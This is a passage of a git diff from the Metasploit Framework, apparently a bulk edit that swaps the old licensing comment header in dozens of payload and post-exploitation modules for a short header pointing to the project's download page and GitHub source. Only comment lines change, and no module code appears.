b/modules/payloads/stages/bsd/x86/shell.rb index c1c88954d6..7084786274 100644 --- a/modules/payloads/stages/bsd/x86/shell.rb +++ b/modules/payloads/stages/bsd/x86/shell.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/payloads/stages/bsdi/x86/shell.rb b/modules/payloads/stages/bsdi/x86/shell.rb index f63ea67dc2..402c69a854 100644 --- a/modules/payloads/stages/bsdi/x86/shell.rb +++ b/modules/payloads/stages/bsdi/x86/shell.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/payloads/stages/java/meterpreter.rb b/modules/payloads/stages/java/meterpreter.rb index 4e51579e50..e40dd4ab06 100644 --- a/modules/payloads/stages/java/meterpreter.rb +++ b/modules/payloads/stages/java/meterpreter.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/payloads/stages/java/shell.rb b/modules/payloads/stages/java/shell.rb index cd98830a6d..a9a5d72015 100644 --- a/modules/payloads/stages/java/shell.rb +++ b/modules/payloads/stages/java/shell.rb @@ -1,9 +1,7 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/payloads/stages/linux/armle/shell.rb b/modules/payloads/stages/linux/armle/shell.rb index ff6b86eac0..041f385419 100755 --- a/modules/payloads/stages/linux/armle/shell.rb +++ b/modules/payloads/stages/linux/armle/shell.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/payloads/stages/linux/x64/shell.rb b/modules/payloads/stages/linux/x64/shell.rb index b0983f2b89..ee89e1828f 100644 --- a/modules/payloads/stages/linux/x64/shell.rb +++ b/modules/payloads/stages/linux/x64/shell.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/stages/linux/x86/meterpreter.rb b/modules/payloads/stages/linux/x86/meterpreter.rb index 92d01194c1..a31946cd4f 100644 --- a/modules/payloads/stages/linux/x86/meterpreter.rb +++ b/modules/payloads/stages/linux/x86/meterpreter.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/payloads/stages/linux/x86/shell.rb b/modules/payloads/stages/linux/x86/shell.rb index 0f90ab7c12..260b5a97b0 100644 --- a/modules/payloads/stages/linux/x86/shell.rb +++ b/modules/payloads/stages/linux/x86/shell.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/payloads/stages/netware/shell.rb b/modules/payloads/stages/netware/shell.rb index b454a2b192..2026c55c6b 100644 --- a/modules/payloads/stages/netware/shell.rb +++ b/modules/payloads/stages/netware/shell.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'metasm' diff --git a/modules/payloads/stages/osx/armle/execute.rb b/modules/payloads/stages/osx/armle/execute.rb index 99ccd8e337..6f9d3bc084 100644 --- a/modules/payloads/stages/osx/armle/execute.rb +++ b/modules/payloads/stages/osx/armle/execute.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/payloads/stages/osx/armle/shell.rb b/modules/payloads/stages/osx/armle/shell.rb index a238d25718..535f00c9b9 100644 --- a/modules/payloads/stages/osx/armle/shell.rb +++ b/modules/payloads/stages/osx/armle/shell.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/payloads/stages/osx/ppc/shell.rb b/modules/payloads/stages/osx/ppc/shell.rb index 1bf05dd127..1d400ca3a3 100644 --- a/modules/payloads/stages/osx/ppc/shell.rb +++ b/modules/payloads/stages/osx/ppc/shell.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/payloads/stages/osx/x64/dupandexecve.rb b/modules/payloads/stages/osx/x64/dupandexecve.rb index 7aee3c949d..171ca8ebec 100644 --- a/modules/payloads/stages/osx/x64/dupandexecve.rb +++ b/modules/payloads/stages/osx/x64/dupandexecve.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/payloads/stages/osx/x86/bundleinject.rb b/modules/payloads/stages/osx/x86/bundleinject.rb index 62af9eac14..ae76489c62 100644 --- a/modules/payloads/stages/osx/x86/bundleinject.rb +++ b/modules/payloads/stages/osx/x86/bundleinject.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/payloads/stages/osx/x86/isight.rb b/modules/payloads/stages/osx/x86/isight.rb index 733e213221..bd3804d49b 100644 --- a/modules/payloads/stages/osx/x86/isight.rb +++ b/modules/payloads/stages/osx/x86/isight.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/payloads/stages/osx/x86/vforkshell.rb b/modules/payloads/stages/osx/x86/vforkshell.rb index 6ae9ebe525..15aa3f784c 100644 --- a/modules/payloads/stages/osx/x86/vforkshell.rb +++ b/modules/payloads/stages/osx/x86/vforkshell.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/payloads/stages/php/meterpreter.rb b/modules/payloads/stages/php/meterpreter.rb index 34ebabdbb5..0c55b56a81 100644 --- a/modules/payloads/stages/php/meterpreter.rb +++ b/modules/payloads/stages/php/meterpreter.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/payloads/stages/python/meterpreter.rb b/modules/payloads/stages/python/meterpreter.rb index 3b9136a2e7..63fce13671 100644 --- a/modules/payloads/stages/python/meterpreter.rb +++ b/modules/payloads/stages/python/meterpreter.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/payloads/stages/windows/dllinject.rb b/modules/payloads/stages/windows/dllinject.rb index 52dd08767d..819f551822 100644 --- a/modules/payloads/stages/windows/dllinject.rb +++ b/modules/payloads/stages/windows/dllinject.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## # Copyright (c) 2008 Stephen Fewer of Harmony Security (www.harmonysecurity.com) diff --git a/modules/payloads/stages/windows/meterpreter.rb b/modules/payloads/stages/windows/meterpreter.rb index d94e381e19..9924e2b125 100644 --- a/modules/payloads/stages/windows/meterpreter.rb +++ b/modules/payloads/stages/windows/meterpreter.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/stages/windows/patchupdllinject.rb b/modules/payloads/stages/windows/patchupdllinject.rb index a5b474b6c9..7dd8ea25f8 100644 --- a/modules/payloads/stages/windows/patchupdllinject.rb +++ b/modules/payloads/stages/windows/patchupdllinject.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/payloads/stages/windows/patchupmeterpreter.rb b/modules/payloads/stages/windows/patchupmeterpreter.rb index 996b2537cf..ffe0e37c5d 100644 --- a/modules/payloads/stages/windows/patchupmeterpreter.rb +++ b/modules/payloads/stages/windows/patchupmeterpreter.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/stages/windows/shell.rb b/modules/payloads/stages/windows/shell.rb index 9a8efd7fbb..3ba58badf5 100644 --- a/modules/payloads/stages/windows/shell.rb +++ b/modules/payloads/stages/windows/shell.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/payloads/stages/windows/upexec.rb b/modules/payloads/stages/windows/upexec.rb index 44bad46247..bdacc5f491 100644 --- a/modules/payloads/stages/windows/upexec.rb +++ b/modules/payloads/stages/windows/upexec.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/payloads/stages/windows/vncinject.rb b/modules/payloads/stages/windows/vncinject.rb index 05decf651c..f72c19b41f 100644 --- a/modules/payloads/stages/windows/vncinject.rb +++ b/modules/payloads/stages/windows/vncinject.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## # Copyright (c) 2008 Stephen Fewer of Harmony Security (www.harmonysecurity.com) diff --git a/modules/payloads/stages/windows/x64/meterpreter.rb b/modules/payloads/stages/windows/x64/meterpreter.rb index 0a15a83174..fa5aa63801 100644 --- a/modules/payloads/stages/windows/x64/meterpreter.rb +++ b/modules/payloads/stages/windows/x64/meterpreter.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/stages/windows/x64/shell.rb b/modules/payloads/stages/windows/x64/shell.rb index 32b98d94d9..5196291c87 100644 --- a/modules/payloads/stages/windows/x64/shell.rb +++ b/modules/payloads/stages/windows/x64/shell.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/payloads/stages/windows/x64/vncinject.rb b/modules/payloads/stages/windows/x64/vncinject.rb index 32c7f08d39..f3a1e54a5d 100644 --- a/modules/payloads/stages/windows/x64/vncinject.rb +++ b/modules/payloads/stages/windows/x64/vncinject.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/post/aix/hashdump.rb b/modules/post/aix/hashdump.rb index 9e2cc8ee78..3e0ecef30c 100644 --- a/modules/post/aix/hashdump.rb +++ b/modules/post/aix/hashdump.rb @@ -1,8 +1,6 @@ ## # ## This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/post/cisco/gather/enum_cisco.rb b/modules/post/cisco/gather/enum_cisco.rb index 675dc29bb8..94d3938fc9 100644 --- a/modules/post/cisco/gather/enum_cisco.rb +++ b/modules/post/cisco/gather/enum_cisco.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/post/linux/gather/checkvm.rb b/modules/post/linux/gather/checkvm.rb index 6aae22e70c..ae9498822f 100644 --- a/modules/post/linux/gather/checkvm.rb +++ b/modules/post/linux/gather/checkvm.rb @@ -1,8 +1,6 @@ ## # ## This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/post/linux/gather/ecryptfs_creds.rb b/modules/post/linux/gather/ecryptfs_creds.rb index 84adc5adc8..b62d23b4e6 100644 --- a/modules/post/linux/gather/ecryptfs_creds.rb +++ b/modules/post/linux/gather/ecryptfs_creds.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/post/linux/gather/enum_configs.rb b/modules/post/linux/gather/enum_configs.rb index d0a841a854..f2bc5fe45e 100644 --- a/modules/post/linux/gather/enum_configs.rb +++ b/modules/post/linux/gather/enum_configs.rb @@ -1,8 +1,7 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework # Framework web site for more information on licensing and terms of use. -# http://metasploit.com/framework/ ## require 'msf/core' diff --git a/modules/post/linux/gather/enum_network.rb b/modules/post/linux/gather/enum_network.rb index 81c6d097ec..f6625ed88c 100644 --- a/modules/post/linux/gather/enum_network.rb +++ b/modules/post/linux/gather/enum_network.rb @@ -1,8 +1,6 @@ ## # ## This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/post/linux/gather/enum_protections.rb b/modules/post/linux/gather/enum_protections.rb index 011bb0ecaf..2e8c3a760b 100644 --- a/modules/post/linux/gather/enum_protections.rb +++ b/modules/post/linux/gather/enum_protections.rb @@ -1,8 +1,7 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework # Framework web site for more information on licensing and terms of use. -# http://metasploit.com/framework/ ## require 'msf/core' diff --git a/modules/post/linux/gather/enum_system.rb b/modules/post/linux/gather/enum_system.rb index 00f2fc4828..37d734f5d9 100644 --- a/modules/post/linux/gather/enum_system.rb +++ b/modules/post/linux/gather/enum_system.rb @@ -1,8 +1,7 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework # Framework web site for more information on licensing and terms of use. -# http://metasploit.com/framework/ ## require 'msf/core' diff --git a/modules/post/linux/gather/enum_users_history.rb b/modules/post/linux/gather/enum_users_history.rb index 1344fc8e51..f536229d11 100644 --- a/modules/post/linux/gather/enum_users_history.rb +++ b/modules/post/linux/gather/enum_users_history.rb @@ -1,8 +1,6 @@ ## # ## This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/post/linux/gather/enum_xchat.rb b/modules/post/linux/gather/enum_xchat.rb index 65064c1cf9..de2b02fd34 100644 --- a/modules/post/linux/gather/enum_xchat.rb +++ b/modules/post/linux/gather/enum_xchat.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/post/linux/gather/hashdump.rb b/modules/post/linux/gather/hashdump.rb index 30aa3523be..f4daaebe00 100644 --- a/modules/post/linux/gather/hashdump.rb +++ b/modules/post/linux/gather/hashdump.rb @@ -1,8 +1,6 @@ ## # ## This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/post/linux/gather/mount_cifs_creds.rb b/modules/post/linux/gather/mount_cifs_creds.rb index 05fa727015..d66edf1697 100644 --- a/modules/post/linux/gather/mount_cifs_creds.rb +++ b/modules/post/linux/gather/mount_cifs_creds.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/post/linux/gather/pptpd_chap_secrets.rb b/modules/post/linux/gather/pptpd_chap_secrets.rb index cb72cb3c80..3110e6dfc4 100644 --- a/modules/post/linux/gather/pptpd_chap_secrets.rb +++ b/modules/post/linux/gather/pptpd_chap_secrets.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/post/linux/manage/download_exec.rb b/modules/post/linux/manage/download_exec.rb index d0a6b07109..def508640e 100644 --- a/modules/post/linux/manage/download_exec.rb +++ b/modules/post/linux/manage/download_exec.rb @@ -1,8 +1,7 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework # Framework web site for more information on licensing and terms of use. -# http://metasploit.com/framework/ ## require 'msf/core' diff --git a/modules/post/multi/escalate/cups_root_file_read.rb b/modules/post/multi/escalate/cups_root_file_read.rb index c5bcf75334..1f07bedb64 100644 --- a/modules/post/multi/escalate/cups_root_file_read.rb +++ b/modules/post/multi/escalate/cups_root_file_read.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/post/multi/escalate/metasploit_pcaplog.rb b/modules/post/multi/escalate/metasploit_pcaplog.rb index 643d7cb7ba..9c1d578675 100644 --- a/modules/post/multi/escalate/metasploit_pcaplog.rb +++ b/modules/post/multi/escalate/metasploit_pcaplog.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/post/multi/gather/apple_ios_backup.rb b/modules/post/multi/gather/apple_ios_backup.rb index d8a8988c8a..9691aeb2e4 100644 --- a/modules/post/multi/gather/apple_ios_backup.rb +++ b/modules/post/multi/gather/apple_ios_backup.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/post/multi/gather/dns_bruteforce.rb b/modules/post/multi/gather/dns_bruteforce.rb index a57a44f179..832a941a06 100644 --- a/modules/post/multi/gather/dns_bruteforce.rb +++ b/modules/post/multi/gather/dns_bruteforce.rb @@ -1,8 +1,6 @@ ## # ## This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/post/multi/gather/dns_reverse_lookup.rb b/modules/post/multi/gather/dns_reverse_lookup.rb index 96dc31fdc9..ca2e3aad79 100644 --- a/modules/post/multi/gather/dns_reverse_lookup.rb +++ b/modules/post/multi/gather/dns_reverse_lookup.rb @@ -1,8 +1,6 @@ ## # ## This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/post/multi/gather/dns_srv_lookup.rb b/modules/post/multi/gather/dns_srv_lookup.rb index bdd499adc3..4605d519b1 100644 --- a/modules/post/multi/gather/dns_srv_lookup.rb +++ b/modules/post/multi/gather/dns_srv_lookup.rb @@ -1,8 +1,6 @@ ## # ## This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/post/multi/gather/enum_vbox.rb b/modules/post/multi/gather/enum_vbox.rb index 76d41a551d..99ae3a145f 100644 --- a/modules/post/multi/gather/enum_vbox.rb +++ b/modules/post/multi/gather/enum_vbox.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/post/multi/gather/env.rb b/modules/post/multi/gather/env.rb index a055ca3b72..0e138c3680 100644 --- a/modules/post/multi/gather/env.rb +++ b/modules/post/multi/gather/env.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/post/multi/gather/fetchmailrc_creds.rb b/modules/post/multi/gather/fetchmailrc_creds.rb index 98eda34aea..4691adc616 100644 --- a/modules/post/multi/gather/fetchmailrc_creds.rb +++ b/modules/post/multi/gather/fetchmailrc_creds.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/post/multi/gather/filezilla_client_cred.rb b/modules/post/multi/gather/filezilla_client_cred.rb index 2e80f4add2..85f85f7e17 100644 --- a/modules/post/multi/gather/filezilla_client_cred.rb +++ b/modules/post/multi/gather/filezilla_client_cred.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/post/multi/gather/find_vmx.rb b/modules/post/multi/gather/find_vmx.rb index 6c68c5f90b..4d38b48363 100644 --- a/modules/post/multi/gather/find_vmx.rb +++ b/modules/post/multi/gather/find_vmx.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/post/multi/gather/firefox_creds.rb b/modules/post/multi/gather/firefox_creds.rb index 9b8505ed83..cf4bd796fa 100644 --- a/modules/post/multi/gather/firefox_creds.rb +++ b/modules/post/multi/gather/firefox_creds.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/post/multi/gather/gpg_creds.rb b/modules/post/multi/gather/gpg_creds.rb index 3e4ee8787a..a3a5a4720c 100644 --- a/modules/post/multi/gather/gpg_creds.rb +++ b/modules/post/multi/gather/gpg_creds.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/post/multi/gather/multi_command.rb b/modules/post/multi/gather/multi_command.rb index c12fc5b83c..227e763000 100644 --- a/modules/post/multi/gather/multi_command.rb +++ b/modules/post/multi/gather/multi_command.rb @@ -1,8 +1,6 @@ ## # ## This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/post/multi/gather/netrc_creds.rb 